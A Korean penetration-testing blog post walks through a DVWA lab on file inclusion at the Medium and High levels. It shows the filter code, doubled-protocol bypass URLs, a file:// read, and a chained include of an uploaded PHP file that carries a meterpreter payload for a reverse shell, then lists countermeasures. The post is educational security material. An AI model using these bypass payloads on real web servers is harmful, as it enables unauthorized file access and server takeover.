[웹 모의해킹] File Inclusion - 파일 포함 취약점 실습 - 2편
이번 실습은 DVWA 환경에서 File Inclusion(파일 포함) 취약점의 Medium & High 보안 레벨에서의 동작 방식과 우회 기법을 다뤘다. 이전 실습에서는 단순히 LFI(Local File Inclusion)을 통해 내부 파일을 읽는데 초점을 맞췄다면, 이번에는 우회 필터링, file://프로토콜, 그리고 업로드된 악성 파일 실행까지 이어지는 고급 시나리오를 실습하였다.
1. File Inclusion 공격이란?
File Inclusion 취약점은 웹 애플리케이션이 사용자 입력값을 기반으로 파일을 불러오는 과정에서 검증이 부족할 때 발생한다.
이로 인해 원하지 않는 내부 파일이 노출되거나, 공격자가 작성한 외부 악성 파일이 실행되는 보안 문제가 발생한다.
- LFI(Local File Inclusion) : 로컬 경로의 파일을 읽음 (../../etc/passwd)
- RFI (Remote File Inclusion) : 외부 URL에서 악성 스크립트를 포함하여 실행
특히 File Upload와 함께 사용할 경우, 악성 파일 업로드 => File Inclusion 실행 => 서버 제어까지 이어지는 연계 공격이 매우 치명적이다.
2. Medium 보안 레벨 구조 분석
<?php
$file = $_GET['page'];
$file = str_replace(array("http://", "https://"), "", $file);
$file = str_replace(array("../", "..\\"), "", $file);
?>
방어 로직 분석
- "http://" / "https://" 문자열 제거 => RFI 방어 의도
- "../" / "..\\" 제거 => Directory Traversal 방어 시도
하지만 단순한 문자열 제거 방식은 다음과 같은 방식으로 쉽게 우회될 수 있다.
3. Medium 단계 우회 공격 기법
기법 1 : 중복된 프로토콜 삽입
http://target_ip/DVWA/vulnerabilities/fi/?page=httpshttps://://url
=> https://만 제거되므로 httpshttps://://는 남아 있고, 결국 외부 URL 포함을 성공한다.
기법 2 : 중복된 http 패턴
http://target_ip/DVWA/vulnerabilities/fi/?page=httphttp://://target_ip/netflix/
=> http://만 제거되어 여전히 URL 현식으로 남게 되어 외부/ 내부 접근이 가능하다.
결론
문자열 치환 방식은 패턴을 변형하면 쉽게 우회된다. 필터링만으로는 안전을 보장할 수 없다.
4. High 보안 레벨 구조 및 공격
일반적인 경로 우회 불가
High 보안 레벨에서는 "../" , "http://" , 심지어 PHP 실행 환경에서도 대부분의 문자열 우회가 차단된다.
하지만 PHP 자체 기능 중 하나인 file:// 프로토콜은 허용되어 있다면 내부 파일을 직접 읽는 것이 가능하다.
file:// 프로토콜 활용
http://target_ip/DVWA/vulnerabilities/fi/?page=file:///var/www/html/index.html
=> PHP는 file:// 프로토콜을 지원하므로 내부 파일 index.html 읽기 성공
5. 업로드된 악성 파일 실행 (연계 공격)
이전 실습(File Upload 편)에서 hello.php라는 악성 PHP 파일을 업로드해 둔 상태였다면, 이를 file:// 경로로 강제로 실행시킬 수 있다.
http://target_ip/DVWA/vulnerabilities/fi/?page=file:///var/www/html/DVWA/hackable/uploads/hello.php
=> hello.php 내부에 meterpreter payload가 삽입되어 있다면 이 요청으로 인해 공격자 시스템과의 리버스 연결이 성공된다.
이는 File Upload + File Inclusion 결합형 공격 시나리오로 단순 노출에서 끝나지 않고 시스템 장악까지 이어질 수 있음을 보여준다.
6. 실습 요약
보안 단계 | 주요 필터링 | 우회 가능성 | 실행 결과 |
Medium | http:// , ../ 제거 | 중복 접두사 삽입 (httphttp://) | 외부 URL 포함 가능 |
High | 강력한 필터링 적용 | file:// 프로토콜 통해 우회 가능 | 내부 파일 접근 및 악성코드 실행 가능 |
7. 배운 점 & 느낀 점
- 단순 문자열 필터링 방식의 우회 가능성을 직접 실습해 보면서, 보안 로직을 너무 신뢰하면 안 된다는 교훈을 얻을 수 있었다.
- file://와 같은 시스템 기본 프로토콜이 악용될 수 있다는 점은 PHP 환경에서 자주 간과되지만 매우 위험하다.
- 이전 실습에서 업로드된 파일이 다음 실습에서 실행될 수 있다는 사실은 실전에서의 공격 연계성과 지속성을 확인할 수 있는 중요한 포인트였다.
- 공격자가 직접 파일을 올리고 include로 실행까지 이어갈 수 있는 구조는 실제 침투 테스트 시 자주 발견되는 고위험 취약점임을 체감할 수 있었다.
8. 대응 방안 (우회 기법에 대한 심화 대응)
이번 실습에서는 기존 대응 방안 외에도 아래와 같은 고급 우회 기법에 대한 보안 조치가 추가적으로 요구된다.
대응 항목 | 설명 |
정규표현식 기반 검증 | http:// 제거가 아닌 ^http?:\/\/ 패턴 전체 차단 필요 |
file:// , php:// 차단 | PHP 설정 또는 서버단 필터링에서 위험한 스트림 프로토콜 제거 |
동적 include 제거 | 사용자 입력 기반 경로 포함 대신 switch-case 기반 고정 로직 사용 |
화이트리스트 경로 제한 | 정해진 파일명 목록 외에는 포함 불가하도록 제한 |
보안 레벨 리스트 관리 | 각 보안 수준별로 공격 우회 경로 존재 여부를 리스트로 만들어서 관리 |
이 블로그는 불법 해킹 및 악의적인 활동을 지양하며, 그런 행위는 절대 권장하지 않습니다.
모든 실습은 허가된 환경에서만 진행해야 하며, 법적 책임은 사용자 본인에게 있습니다.